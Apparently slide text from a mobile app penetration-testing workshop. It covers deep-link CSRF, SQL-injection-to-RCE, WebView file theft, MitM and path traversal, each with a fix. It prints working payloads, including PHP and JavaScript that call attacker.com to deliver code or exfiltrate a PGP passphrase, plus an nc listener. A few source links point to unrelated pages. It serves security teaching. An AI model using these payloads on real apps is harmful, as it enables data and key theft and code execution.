(/Users/abhishekjm/Library/apktool/framework), using /var/folders/5f/3qf_m4wn6_d1g703g5r1199h0000gn/T/ instead... S: Please be aware this is a volatile directory and frameworks could go missing, please utilize --frame-path if the default storage directory is unavailable I: Loading resource table from file: /var/folders/5f/3qf_m4wn6_d1g703g5r1199h0000gn/T/1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... LAB CHECK Case Study: Periscope CSRF via Deep Link Step 2: Analyzing the Manifest NOT BROWSABLE = ONLY attackable from malicious apps on the device BROWSABLE = ALSO attackable from websites (i.e. browsable → browser) File: AndroidManifest.xml Contents: LAB CHECK <intent-filter> [...] <category android:name="android.intent.category.BROWSABLE"/> <data android:host="www.periscope.tv" android:pathPrefix="/" android:scheme="https"/> [...] <data android:host="pscp.tv" android:pathPrefix="/" android:scheme="http"/> <data android:host="user" android:pathPrefix="/" android:scheme="pscp"/> Case Study: Periscope CSRF via Deep Link <data android:host="periscope.tv" android:pathPrefix="/" android:scheme="https"/> <data android:host="pscp.tv" android:pathPrefix="/" android:scheme="http"/> <data android:host="user" android:pathPrefix="/" android:scheme="pscp"/> <data android:host="user" android:pathPrefix="/" android:scheme="pscpd"/> <data android:host="broadcast" android:pathPrefix="/" android:scheme="pscp"/> <data android:host="channel" android:pathPrefix="/" android:scheme="pscp"/> <data android:host="discover" android:pathPrefix="/" android:scheme="pscp"/> </intent-filter> LAB CHECK Here, the Deep Link with the scheme ‘pscp’ and ‘user’ as host looks specifically interesting.The Deep Link here is: pscp://user/ This means that there could be a parameter passed to this Deep Link which could be the Periscope user id. The user id is a unique identifier for any given user/profile on Periscope. Case Study: Periscope CSRF via Deep Link Step 3: Verifying the issue Existent username on Periscope: pscp://user/MKBHD Option 1: Deep Link Tester LAB CHECK Open the Deep Link Tester application, enter the above Deep Link and click on the ‘GO TO URI’ Get it here: https://training.7asecurity.com/mc/workshop/practical-mobile-app-attacks-by-example/apps/DeepLinkTester.apk Case Study: Periscope CSRF via Deep Link LAB CHECK Fig.: Deep Link for profile Case Study: Periscope CSRF via Deep Link Option 2: ADB Command ADB Command: adb shell am start -a "android.intent.action.VIEW" -d "pscp://user/MKBHD" Option 3: Drozer Command LAB CHECK Using Drozer you should use the browseable activity scanner, this will provide you with a list of URL schemes and activities to explore: NOTE: However, note that Drozer misses some URL schemes like pscpd://, therefore this is not a replacement for a manual review Drozer Command: dz> run scanner.activity.browsable -a tv.periscope.android Case Study: Periscope CSRF via Deep Link Output: Package: tv.periscope.android Invocable URIs: tv.periscope.android:// pscp://open http:// https://www.periscope.tv/ (PATTERN_PREFIX) https://b.pscp.live/g97c (PATTERN_PREFIX) @2131821022:// @2131821021:// https://@2131821040/__/auth/handler (PATTERN_LITERAL) Classes: tv.periscope.android.ui.login.AppAuthUriReceiverActivity tv.periscope.android.LaunchActivity tv.periscope.android.AppRouterActivity com.facebook.CustomTabActivity com.firebase.ui.auth.ui.provider.GitHubLoginActivity net.openid.appauth.RedirectUriReceiverActivity LAB CHECK Case Study: Periscope CSRF via Deep Link Drozer Command: dz> run app.activity.start "pscp://user/MKBHD" --action android.intent.action.VIEW --data-uri Option 4: Malicious website A malicious website could also invoke the app in this way, for this purpose navigate to: https://7as.es/android/periscope_csrf.html and click on “Open User” Opening the Browser using ADB: LAB CHECK adb shell am start -a "android.intent.action.VIEW" -d "https://7as.es/android/periscope_csrf.html" Case Study: Periscope CSRF via Deep Link LAB CHECK Fig.: Click on Android Browser → Opens Profile Case Study: Periscope CSRF via Deep Link The Deep link loads a user profile which means this Deep link supports operations on a user profile/ user id. Exploiting the CSRF vulnerability: Next obvious step is to check if the user can be followed with the help of this Deep link: pscp://user/MKBHD/follow Option 1: With Deep Link Tester NOTE: Unfollow if needed first to verify :) LAB CHECK Case Study: Periscope CSRF via Deep Link LAB CHECK Fig.: Following an account via Deep Link Case Study: Periscope CSRF via Deep Link Option 2: With ADB Commands NOTE: Unfollow if needed first to verify :) ADB Command: adb shell am start -a "android.intent.action.VIEW" -d "pscp://user/MKBHD/follow" Option 3: With Drozer NOTE: Unfollow if needed first to verify :) LAB CHECK Drozer Command: dz> run app.activity.start "pscp://user/MKBHD/follow" --action android.intent.action.VIEW --data-uri Case Study: Periscope CSRF via Deep Link Option 4: Malicious Website NOTE: Unfollow if needed first to verify :) Navigate to https://7as.es/android/periscope_csrf.html using the Android browser click on “Periscope CSRF Demo”. LAB CHECK ADB Command to open URLs in the Android Browser: adb shell am start -a "android.intent.action.VIEW" -d "https://7as.es/android/periscope_csrf.html" Case Study: Periscope CSRF via Deep Link LAB CHECK Fig.: Exploiting the CSRF via a malicious website Case Study: Periscope CSRF via Deep Link As seen, the application automatically follows the account that has been passed to the Deep link. This is rather a useful feature. But this can be a security bug if any random user could be tricked into processing this Deep link. That way, an attacker can embed the Deep link on a webpage or an ad and the visitors could be tricked into following a profile that the attacker sets. LAB CHECK This can be verified by creating a simple HTML page and accessing it via an Android device with Periscope (the given version) installed. Code: <!DOCTYPE html> <html> <h1> <pre> <a href="pscp://user/MKBHD/">Open User</a> <a href="pscp://user/MKBHD/follow">Periscope CSRF Demo</a> </html> Case Study: Periscope CSRF via Deep Link For ease of access, we have hosted this here: https://7as.es/android/periscope_csrf.html You can prepare an HTML file with the following above documented code snippet and host it somewhere and try it out yourself. LAB CHECK Open this link from your Android device and click on the ‘Periscope CSRF DEMO’ link. This again leads to following the account embedded in the Deep link without the consent of the user clicking on the Deep link. This is an example of a CSRF attack where the origin of the request is not verified and hence, the attacker can trick any user into following an account without their consent. Case Study: Periscope CSRF via Deep Link Mitigation: Fixing issues derived from URL schemes / Deep Links is usually accomplished by prompting the user for confirmation prior to performing the action. For example: 1) Show a message like: “are you sure you would like to follow X?” 2) LAB CHECK Perform the action ONLY only if the user confirms DEMO: Periscope LAB CHECK Source: https://infosecwriteups.com/the-zaheck-of-android-deep-links-a5f57dc4ae4c Deep Link attacks to make phone calls Get DVIA-v2 For this section, we will use the following version of DVIA-v2 for iOS: https://training.7asecurity.com/mc/workshop/practical-mobile-app-attacks-by-example/apps/DVIA-v2-swift.ipa Read more about it: http://damnvulnerableiosapp.com/ Finding & Exploiting URL handlers Does the app implement a URL handler? If so, this could be an interesting attack surface. How can we find this? Option 1: Without Xcode Look at the Info.plist file within the app source code (not dependencies): Commands: cd /Users/7a/training/iOS/lab3/DVIA-v2-2dd120f3eef243737871c8f0fe8a094701991bd9/DVIA-v 2/DVIA-v2 grep URLScheme -A 4 Info.plist Output: <key>CFBundleURLSchemes</key> <array> <string>dvia</string> <string>dviaswift</string> </array> Finding & Exploiting URL handlers Option 2: With Xcode Click on the app, go to “Info” and scroll down to “URL Types”, and then look at “URL schemes”: Fig.: Finding URL Schemes with Xcode Finding & Exploiting URL handlers Result: This means that URLs like dviaswift:// and dvia:// will be opened by DVIA-v2. What can we do with this? First of all we need to review the URL handler implementation, this is generally located in a file called AppDelegate (.m for Objective C and .swift for Swift). Option 1: Without Xcode If you don’t have Xcode (i.e. you are not using a Mac) you can find the AppDelegate file like so: Command: find . -name AppDelegate.swift Output: ./DVIA-v2/AppDelegate.swift Finding & Exploiting URL handlers If you edit this file with your favorite editor, you will notice the following interesting URL handling code: Affected File: ./DVIA-v2/AppDelegate.swift Affected Code: func application(_ app: UIApplication, open url: URL, options: [UIApplicationOpenURLOptionsKey : Any] = [:]) -> Bool { let splitUrl = url.absoluteString.components(separatedBy: "/phone/call_number/") if ((Int(splitUrl[1])) != nil){ //Valid URL, since the argument is a number let alertController = UIAlertController(title: "Success!", message: "Calling \(splitUrl[1]). Ring Ring !!!", preferredStyle: .alert) Finding & Exploiting URL handlers let okAction = UIAlertAction(title: "OK", style: UIAlertActionStyle.default, handler: nil) alertController.addAction(okAction) window?.rootViewController?.present(alertController, animated: true, completion: nil) } return true } Option 2: Using Xcode If you are using Xcode you can confirm the affected snippet by navigating to the AppDelegate.swift file and then reviewing the URL open implementation: Finding & Exploiting URL handlers Fig.: AppDelegate implementation for the URL handler Finding & Exploiting URL handlers Result: This means that the app appears to expect URLs like the following, and will ring the number without further user prompts or confirmation: Sample URLs: dviaswift://phone/call_number/1234567890 dvia://phone/call_number/1234567890 Let’s confirm this, from your Jailbroken phone, using Safari open the following URL: URL: https://7as.es/ios/url_handler_dvia-v2.html You can also take the HTML from the above link and host it on your own server to test. Or simply review the HTML to understand how this works: Finding & Exploiting URL handlers HTML: <html> <body> <h1> <pre> <a href="dviaswift://phone/call_number/1234567890">dviaswift://phone/call_number/12345 67890</a> <a href="dvia://phone/call_number/1234567890">dvia://phone/call_number/1234567890</a> </pre> </h1> </body> </html> Finding & Exploiting URL handlers When you click on the link, Safari will prompt you to open it on DVIAv2, click on “Open”: Fig.: Exploiting the URL handler Finding & Exploiting URL handlers The ability to make an app ring arbitrary phone numbers is a serious issue in the mobile environment due to the possibility of making the app ring premium numbers, hence attackers can monetize the attack vector more easily. Source: http://nwksgmd4.blogspot.com/2011/10/yet-more-on-water-for-oil-gas-drilling.html DEMO: Custom iOS URL handlers DeepLink Scenario: URL → Browser #1 - Exported Activity: Browsing functionality The app has some functionality that: → → Expects other apps to send URLs to it Opens those URLs and shows them to the user Implicitly exported activity: <activity android:name=".Browser" [...]>[...] <intent-filter> <action android:name="android.intent.action.SEARCH" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> #2 - Intent Extra Processing protected void onNewIntent(Intent intent) { String action = intent.getAction(); if (Intent.ACTION_SEARCH.equals(action)) { String url = intent.getStringExtra(Search.QUERY); Message msg = new Message(); msg.getData().putString("url", url); mLoadHandler.sendMessage(msg); } Question: What is the vulnerability? #1: Exported activity: some.app.browser.Browser #2: Intent extra: query #3: URL validation: static final Pattern ACCEPTED_URI_SCHEMA = Pattern.compile("(?i)" + // case insensitive "(" + "(?:http|https|file):\\/\\/" + "|(?:data|about|content|javascript):" + ")" + "(.*)"); Deeplink → Go to SD Card → Steal DBs #1: Exported activity: some.app.browser.Browser #2: Intent extra: query #3: URL validation: static final Pattern ACCEPTED_URI_SCHEMA = Pattern.compile("(?i)" + // case insensitive "(" + "(?:http|https|file):\\/\\/" + "|(?:data|about|content|javascript):" + ")" + "(.*)"); Source: https://thecinemaholic.com/wp-content/uploads/2020/10/nintchdbpict000286651139.jpg Attack: Go to SD Card + Steal DBs Part 1: Intent from malicious app Java Code: String url = "file:///mnt/sdcard/steal.html"; Intent i = new Intent(Intent.ACTION_SEARCH); i.addCategory(Intent.CATEGORY_DEFAULT); final ComponentName cn = new ComponentName( "Some.app.browser", "some.app.browser.Browser"); i.setComponent(cn); i.putExtra("query", url); startActivity(i); Attack: Go to SD Card + Steal DBs (cont.) File: /mnt/sdcard/steal.html Contents: <script>var xmlhttp=new XMLHttpRequest(); var db_loc = '/data/data/some.app.browser/databases/' var db_files = [ 'db1.db', 'db2.db', 'db3.db' ] for (var i in db_files) { //Retrieving all databases in JavaScript var full_path = db_loc + db_files[i] xmlhttp.open("GET", "file://" + full_path, false); xmlhttp.send(null); var ret = xmlhttp.responseText; alert('Got DB: ' + full_path + "\r\n" + ret); //Showing the retrieved file in JavaScript }</script> <!-- All could be sent to an external site --> <img src="https://7asecurity.com/logo/small-logo.svg" /> Attack: Go to SD Card + Steal DBs (cont.) Fix: Go to SD Card + Steal DBs → → Do not accept file:// URLs if possible webSettings().setAllowFileAccess(false); Disables filesystem only, defaults to true → https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess(boolean) webSettings().setAllowFileAccessFromFileURLs(false); Disables file access from file URLs Defaults to false since Android 4.1 (API 16) https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccessFromFileURLs(boolean) Fix: Go to SD Card + Steal DBs → webSettings().setAllowUniversalAccessFromFileURLs(false); Disables access to content from any origin from file URLs Defaults to false since Android 4.1 (API 16) https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowUniversalAccessFromFileURLs(boolean) Browser App → Attacker Website → DeepLink? Question: What is the vulnerability? File: ProxyURLProtocol.m (Onion Browser) Contents: else if ([[[[self request] URL] absoluteString] rangeOfString:@"forcequit"].location != NSNotFound) { / onionbrowser:forcequit / UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"Force-quitting" message:@"Onion Browser will now close. Restarting the app will try a fresh Tor connection." delegate:self cancelButtonTitle:@"Quit app" otherButtonTitles:nil]; [alert show]; Attacker Page → close browser :) PoC: <img src="onionbrowser:forcequit" /> Contents: else if ([[[[self request] URL] absoluteString] rangeOfString:@"forcequit"].location != NSNotFound) { / onionbrowser:forcequit / UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"Force-quitting" message:@"Onion Browser will now close. Restarting the app will try a fresh Tor connection." delegate:self cancelButtonTitle:@"Quit app" otherButtonTitles:nil]; [alert show]; Fix: Any page can forcequit the browser → → → → At a minimum, prompt the user before quitting. If possible, eliminate forcequit functionality Implement a separate screen flow for help area, which websites cannot invoke. In general, consider Universal links as custom URLs can be hijacked and are insecure. Deeplink → SQLi → RCE!!? Scenario: CRM app with Google auth → → → Popup if user not logged in User is prompted to login to Google Popup closes and sends data to app after auth Question: What is the vulnerability? AndroidManifest.xml: <activity [...] android:name="LoginWebView"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="vulnapp"/> </intent-filter> </activity> Saving token after Google authentication: public synchronized void UpdateCred(String col, String val){ SQLiteDatabase db = this.getWritableDatabase(Value); db.execSQL("UPDATE "+Credentials+" SET "+col+" = '"+val+"'"); db.close(); } Deeplink → SQLi + RCE :) AndroidManifest.xml: <activity [...] android:name="LoginWebView"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="vulnapp"/> </intent-filter> </activity> Saving token after Google authentication: public synchronized void UpdateCred(String col, String val){ SQLiteDatabase db = this.getWritableDatabase(Value); db.execSQL("UPDATE "+Credentials+" SET "+col+" = '"+val+"'"); db.close(); } Attack: SQLi + RCE via exported activity Attack Variant 1: Malicious app attack Step 1: Create bad binary as PoC cd /data/data/just.trust.me echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > test.so chmod 777 test.so Step 2: Pwn adb shell am start -a "android.intent.action.VIEW" -n "some.vuln.app/some.vuln.app.LoginWebView" -d "vulnapp://?data=\'%20where%201%3D\(select%20load_extension\(\'%2Fdata%2Fdata%2Fjust.trust.m e%2Ftest\'\)\)%3B%2F%2F" Attack: SQLi + RCE via exported activity Step 3: Verify E/AndroidRuntime( 5361): Caused by: net.sqlcipher.database.SQLiteException: dlopen failed: "/data/data/just.trust.me/test.so" has bad ELF magic: UPDATE creds SET auth_key = '' where 1=(select load_extension('/data/data/just.trust.me/test'));//' Source: https://www.memecreator.org/static/images/memes/4936640.jpg Attack: SQLi + RCE via browsable activity Attack Variant 2: Malicious website attack (works on Android < 6) File 1: http://attacker.com/a.php Contents: <?php header("Content-Type: application/octet-stream"); header('Content-Disposition: attachment; filename="test.so"'); echo str_repeat('A', 40); Attack: SQLi + RCE via browsable activity File 2: http://attacker.com/d.php Contents: <?php $payload = "' where 1=(select load_extension('/sdcard/Download/test'));//"; ?> <iframe src="a.php"></iframe><!-- download test.so into Downloads folder --> <iframe id="trigger"></iframe> <script> setTimeout(function() { document.getElementById('trigger').src = "vulnapp://?data=<?=$payload?>"; }, 5000); <!-- wait 5 seconds = download finished before triggering RCE --> </script> Attack: SQLi + RCE via browsable activity Verify: E/AndroidRuntime( 5101): Caused by: net.sqlcipher.database.SQLiteException: dlopen failed: library "/sdcard/Download/test.so" has bad ELF magic: UPDATE creds SET auth_key = '' where 1=(select load_extension('/sdcard/Download/test'));//' URL validation? Question: What is the vulnerability? if ([URL.absoluteString rangeOfString:@"https://"].location == 0) { Boolean ignoreSSLErrors = NO; if ([URL.host rangeOfString:@".onion"].location != NSNotFound) { #ifdef DEBUG NSLog(@"loading https://*.onion/ URL, ignoring SSL certificate status (%@)", URL.absoluteString); #endif ignoreSSLErrors = YES; Ignore SSL warnings on non-onion domains if ([URL.absoluteString rangeOfString:@"https://"].location == 0) { Boolean ignoreSSLErrors = NO; if ([URL.host rangeOfString:@".onion"].location != NSNotFound) { #ifdef DEBUG NSLog(@"loading https://*.onion/ URL, ignoring SSL certificate status (%@)", URL.absoluteString); #endif ignoreSSLErrors = YES; NOTE: [ Different than “not found” ] = found if ([URL.host rangeOfString:@".onion"].location != NSNotFound) { Is a silly way of saying: if (URL.host contains ".onion") [ pseudo code ] Source: http://www.quickmeme.com/meme/3522lp Attack: Ignore SSL warnings non-onion domains 1. Create subdomain: www.paypal.com.onion.7-a.org, pointing to 217.163.21.38 (Google) 2. Visit https://www.paypal.com.onion.7-a.org on a normal browser = security warnings 3. Visit https://www.paypal.com.onion.7-a.org on Onion Browser = no warnings NOTE: This is a very common logic bug → return true when a substring is found anywhere = problems. Common culprits: "includes", "contains", "strstr", etc. https://7asecurity.com/reports/pentest-report_onion-browser.pdf Fix: Ignore SSL warnings non-onion domains → → Check the URL host name ends with .onion Verify the .onion domain is actually running an onion server Episode: Sexy Logic bugs Logic bugs are: → Often subtle issues → Sometimes hard to find → Almost always missed by automated tools In short: Logic bugs are not going away any time soon :) Scenario: JavaScript disabled by default Question: What is the vulnerability? Code: mWebView.getSettings().setJavaScriptEnabled(prefs.getBoolean(getString(R.string.pref_javascr ipt), true)); Solution: JavaScript disabling not working Code: ← The setting defaults to true if not explicitly set in the preferences mWebView.getSettings().setJavaScriptEnabled(prefs.getBoolean(getString(R.string.pref_javascrip t), true)); PoC <svg/onload=alert('document.cookie='+document.cookie+'\ndocument.referrer ='+document.referrer+'\nwindow.name='+window.name+'\nnavigator.appCodeNam e='+navigator.appCodeName+'\nnavigator.appName='+navigator.appName+'\nnav igator.appVersion='+navigator.appVersion+'\nnavigator.platform='+navigato r.platform+'\nnavigator.userAgent='+navigator.userAgent+'\nnavigator.java Enabled()='+navigator.javaEnabled()+'\nscreen.width='+screen.width+'\nscr een.height='+screen.height+'')> Attack: JavaScript disabling not working PoC Fix: JavaScript disabling not working Problem: mWebView.getSettings().setJavaScriptEnabled(prefs.getBoolean(getString(R.string.pref_javascr ipt), true)); Solution: Option 1: Ensure preferences are set in the preference file Option 2: default to the most secure setting instead, i.e. false Episode: MitM attacks Source: https://dpsvdv74uwwos.cloudfront.net/ Scenario: Secure Messenger app Source: https://techcrunch.com/ Attack: Clear-text XMPP MitM Step 1: Attacker manipulates clear-text XMPP response NOTE: Only available authentication mechanism = clear-text (PLAIN) Server: Give me your creds please? <stream:features><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/><mechanismsxmlns='urn: ietf:params:xml:ns:xmpp-sasl'><mechanism>PLAIN</mechanism></mechanisms></stream:features> Step 2: The mobile app sends credentials in plain text <auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='PLAIN'>YWJlQDdhc2VjdXJpdHkuY29tAGY1ZGY0ZjY1LTZiM2MtNDk3OS1iM2RjLTA5MWExNjA0MGI1OA= =</auth> Step 3: Attacker base64-decodes abe@7asecurity.comf5df4f65-6b3c-4979-b3dc-091a16040b58 Fix: Clear-text XMPP MitM → Enforce TLS connections → If TLS is unavailable, refuse to connect, don't allow clear-text fallbacks Episode: Sexy DOS Attacks Scenario: Tracking library Question: What does this command do? Command: sbd -r 0 -c off -nvlp 80 -e yes Attack: DoS via memory consumption Point device to attacker-controlled machine (i.e. DNS spoofing, MitM) Command: sbd -r 0 -c off -nvlp 80 -e yes Errors: malloc: *** mach_vm_map(size=2080374784) failed (error code=3) *** error: can't allocate region *** set a breakpoint in malloc_error_break to debug TEALIUM 3.2c: Exception encountered: Attempt to allocate 2080374784 bytes for NS/CFData failed *** Terminating app due to uncaught exception 'NSMallocException', reason: 'Attempt to allocate 2080374784 bytes for NS/CFData failed' Attack: DoS via memory consumption Fix: DoS via memory consumption → → Consider using another library Implement adequate exception handling: → General exception handler for unexpected errors → Handle exceptions gracefully Episode: Sexy copy-paste attacks Scenario: Crypto vault Android app Question: What attack is this? <html> <body> <div style="-webkit-user-select: none;"><h1>Just select aaaall this text and copy paste it!</h1></div> <div style="-webkit-user-select: text; z-index:10; opacity: 0; position: absolute; top: 20px;"><font size=4>../../../data/data/org.sufficientlysecure.keychain/databases/openkeychain.db </font></ div> </body> </html> Solution: File overwrite via path traversal → → User sees unselectable text When the user copies the text, they are copying something else <html> <body> <div style="-webkit-user-select: none;"><h1>Just select aaaall this text and copy paste it!</h1></div> <div style="-webkit-user-select: text; z-index:10; opacity: 0; position: absolute; top: 20px;"><font size=4>../../../data/data/org.sufficientlysecure.keychain/databases/openkeychain.db </font></d iv> </body> </html> Attack: File overwrite via path traversal (cont) User sees “text A” but pastes “text B”, ideal for fake tutorials! :) Attack: File overwrite via path traversal (cont) → → → User overwrites the vault database Entire contents no longer accessible App crashes https://7asecurity.com/reports/pentest-report_openkeychain.pdf Fix: File overwrite via path traversal → Make sure users have an option to see the entire pasted text and not just the beginning or the end → (Common problem in mobile apps: small UI + data rendering truncation = excellent spoofing) → If you just expect a file from the user, get the basename (filename) of the path and ignore the rest. → If you expect a path, make sure you: 1. Reject paths that contain ".." 2. resolve the path (../../path => /path) 3. verify the path starts with the expected location (i.e. /mnt/sdcard/, etc.) 4. concatenate the expected extension to the final URL (i.e. if you expect ".log", add ".log" at the end) Episode: Sexy Content Provider Attacks Scenario: Browser app with custom URL handler Attack: Adding fake news via Content Provider Context: News app PoC String URL = "content://some.vulnerable.app/bestarticles/*"; Uri bestarticles = Uri.parse(URL); ContentValues values = new ContentValues(); values.put("title", "President disappears after entering police box ..."); values.put("content", "President disappears after ..."); values.put("category_id", "-90"); values.put("article_id", "2490555"); values.put("authors", "attacker.com"); getContentResolver().insert(bestarticles, values); Fix: Adding fake news via Content Provider → → Do not export Content Providers unless needed If must export, protect Content Provider with a permission that requires a signature (i.e. only apps signed by the same developer can call the provider) Attacking Updaters Question: What's the problem with this? Request: http://some.site.com/messenger/x.x/update.json Response: HTTP/1.1 404 Not Found Update URL → Premium number call Request: http://some.site.com/messenger/x.x/update.json Response: HTTP/1.1 200 OK [...] {"version":"2.0","forced":1,"url":"tel:1-408-555-5555"} Attack: Premium number call Fix: Premium number call → → → → → → Check updates over TLS Consider Pinning Check the update URL is a URL and not a phone number Verify the update URL matches some trusted domain(s) Sign and verify the signature of update checks Sign and verify the signature of updates Scenario: Third party ZIP file retrieval (iOS) Question: What is the vulnerability? File: Info.plist Affected Code: <key>NSAppTransportSecurity</key> <dict> <key>NSExceptionDomains</key> <dict> <key>some.s3.amazonaws.com</key> <dict> <key>NSTemporaryExceptionAllowsInsecureHTTPLoads</key> <true/> </dict> Defeating iOS ATS: Allow clear-text HTTP Affected File: Info.plist Affected Code: <key>NSAppTransportSecurity</key> <dict> <key>NSExceptionDomains</key> <dict> <key>some.s3.amazonaws.com</key> <dict> <key>NSTemporaryExceptionAllowsInsecureHTTPLoads</key> <true/> </dict> Attack: Arbitrary file overwrite App retrieves: http://some.s3.amazonaws.com/some/path/upload/12345/some.zip Attacker replaces ZIP file Attacker can overwrite arbitrary app files Fix: Arbitrary file overwrite → → Avoid weakening ATS: No exceptions Use dependencies that use secure TLS communications Scenario: User dialog for SSL warnings #1 - SSL exceptions trigger user interaction } catch (CertificateException ae) { try { if (defaultTrustManager == null) throw new CertificateException(); [...] } catch (CertificateException e) { e.printStackTrace(); askUser(chain, authType, e); } #2 - SSL warning Dialog #3 - askUser registers a broadcast receiver [...] BroadcastReceiver decisionReceiver = new BroadcastReceiver() { public void onReceive(Context ctx, Intent i) { userAnswer(i); } }; master.registerReceiver(decisionReceiver, new IntentFilter(DECISION_INTENT +"/" + master.getPackageName())); masterHandler.post(new Runnable() { public void run() { [...] getUI().startActivity(ni); [...] try { synchronized(choice) { choice.wait(); } // wait for decision to be updated [...] master.unregisterReceiver(decisionReceiver); #4 - userAnswer processes intents public static void userAnswer(Intent i) { int decisionId = i.getIntExtra(DECISION_ID); int choice = i.getIntExtra(DECISION_CHOICE); MTMDecision d; synchronized(openDecisions) { d = openDecisions.get(decisionId); openDecisions.remove(decisionId); }[...] synchronized(d) { d.state = choice; //Modify decision, close listener d.notify(); master.unregisterReceiver(decisionReceiver); switch (choice.state) { case MTMDecision.DECISION_ALWAYS://3 storeCert(chain); Question: What is the vulnerability? Attack: Permanent MitM prompt bypass ADB Command: adb shell am broadcast -a some.app.DECISION/some.app.im --ei some.app.DECISION.decisionId 1 --ei some.app.DECISION.decisionChoice 3 Output: Broadcasting: Intent { act=some.app.DECISION/some.app.im (has extras) } Broadcast completed: result=0 Fix: Permanent MitM prompt bypass → Use a local broadcast receiver using LocalBroadcastManager instead of BroadcastReceiver https://developer.android.com/reference/android/support/v4/content/LocalBroadcastManager.html → If you must use the broadcast receiver, protect it with a permission → If you must use the broadcast receiver, consider making the decision ID an unpredictable random token instead of a sequential ID. Scenario: MitM of XMPP Source: https://news-cdn.softpedia.com/ Attack: MitM of XMPP SSL without warnings Step 1: DNS Spoof dnschef -i 0.0.0.0 --fakeip=192.168.0.127 Step 2: Setup Prosody https://prosody.im/ File: /etc/prosody/prosody.cfg.lua Contents: VirtualHost "chat.facebook.com" VirtualHost "gmail.com" VirtualHost "jabber.org" → → → You need to add a VirtualHost entry for each domain you wish Prosody to serve. Settings under each VirtualHost entry apply only to that host. Result: it worked with the default self-signed certificate :P Scenario: Clear-text HTTP communications (Android) Source: https://mondrian.mashable.com/ Question: What is the vulnerability? 1. The app gets XML from the server: http://some.site.com/some/path/file.xml 2. The file is saved like so: //toDownload.filename = retrieved from XML //toDownload.contents = retrieved from XML File mediaFile = new File(mediaDir, toDownload.filename); [... save contents ...] Attack: Permanent MitM via Arbitrary File Write XML file retrieved over clear-text HTTP: Average MitM attackers can change that Attacker hosts XML file to receive human right violation reports forever: Attacker modifies clear-text XML response: <?xml [...]><mediaFile> <filename>../../../../../data/data/some.vulnerable.app/shared_prefs/app_preferences.xml </file name> <hash>md5:xxxxxxxx</hash> <downloadUrl>https://attacker.com/pwn.xml</downloadUrl></mediaFile></manifest> Forged preferences file on https://attacker.com/pwn.xml: [...]<string name="server_url">https://attacker.com/submit</string>[...] Attack: Permanent MitM via Arbitrary File Write (logcat) /mnt/sdcard/path/.cache/xxxx/../../../../../data/data/some.vulnerable.app/shared_prefs/app_prefere nces.xml has been deleted. [...] I/SomeTask( 450): Started downloading to mnt/sdcard/path/.cache/app_preferences.xml [...] copied over /mnt/sdcard/path/.cache/xxxx/../../../../../data/data/some.vulnerable.app/shared_prefs/app_prefere nces.xml Fix: Permanent MitM via Arbitrary File Write → Validate filename against a whitelist of characters, i.e. allow only: |^[a-zA-Z0-9\.]+$| → Use TLS, it's free now :) https://letsencrypt.org/ → Consider pinning to protect from high profile attackers: https://cheatsheetseries.owasp.org/cheatsheets/Pinning_Cheat_Sheet.html Episode: Sexy Crypto App Attacks Scenario: Crypto Messenger Android app Question: What is the vulnerability? Background: App receives encrypted files private void saveFile(Uri inputUri, String originalFilename, String mimeType) { [...] File file = new File(inputUri.getPath()); File parentDir = file.exists() ? file.getParentFile() : Constants.Path.APP_DIR; File targetFile = new File(parentDir, originalFilename); FileHelper.saveFile(this, getString(R.string.title_decrypt_to_file), getString(R.string.specify_file_to_decrypt_to), targetFile, REQUEST_CODE_OUTPUT); Solution: Arbitrary file write on decryption Background: App receives encrypted files private void saveFile(Uri inputUri, String originalFilename, String mimeType) { [...] File file = new File(inputUri.getPath()); File parentDir = file.exists() ? file.getParentFile() : Constants.Path.APP_DIR; File targetFile = new File(parentDir, originalFilename); FileHelper.saveFile(this, getString(R.string.title_decrypt_to_file), getString(R.string.specify_file_to_decrypt_to), targetFile, REQUEST_CODE_OUTPUT); Attack: Arbitrary file write on decryption User A: Encrypts message with originalFilename //////////////////////////////////////../../../../../../data/data/some.vuln.app/databases/ba dfile User B: Receives and decrypts this file Result: User A can create and overwrite any file in the app storage. Scenario: PGP Email iOS app Source: https://apps.apple.com/ Question: What is the vulnerability? Background: iOS app implements PGP email functionality in JavaScript. User input = received message. [html appendString:@"<!DOCTYPE HTML><html><head><script>"]; [html appendString:self.pgpContext.openPGPScript]; [html appendFormat:@"\nvar Private_Key = '%@';", [self.Private_Key stringEscapedForJavaScript]]; [html appendFormat:@"\nvar passphrase = '%@';", [self.passphrase stringEscapedForJavaScript]]; [html appendFormat:@"\nvar Message = '%@';", [self.Message stringEscapedForJavaScript]]; Solution: Remotely Steal Private Key & Passphrase Vuln: [html appendFormat:@"\nvar Message = '%@';", [self.Message stringEscapedForJavaScript]]; PoC Email: ';var xmlHttp = new XMLHttpRequest();xmlHttp.open('GET','https://attacker.com/'+encodeURIComponent(passphrase) ,false); xmlHttp.send(null); a=' Resulting JavaScript: var Private_Key = '-----BEGIN PGP PRIVATE KEY BLOCK----- ...' var passphrase = 'MY_SECRET_PASSPHRASE'; var Message = '';var xmlHttp = new XMLHttpRequest();xmlHttp.open('GET','https://attacker.com/'+passphrase ,false); xmlHttp.send(null); a=''; Attack: Remotely Steal Private Key & Passphrase Server Command (setup listener): $ nc -lp 443 Output (receive stolen passphrase): GET /MY_SECRET_PASSPHRASE HTTP/1.1 Fix: Remotely Steal Private Key & Passphrase → → base64-encode user input (i.e. the entire message) before concatenation Encode user input in JavaScript Source: https://www.memecreator.org/static/images/memes/4920630.jpg Scenario: Mandated app in South Korea (Android) Government-mandated app to help parents protect their children: → Control phone usage → Control installed apps → Block websites → etc. Round #1: https://7asecurity.com/reports/pentest-report_smartsheriff.pdf Round #2: https://7asecurity.com/reports/pentest-report_smartsheriff-2.pdf Scenario: 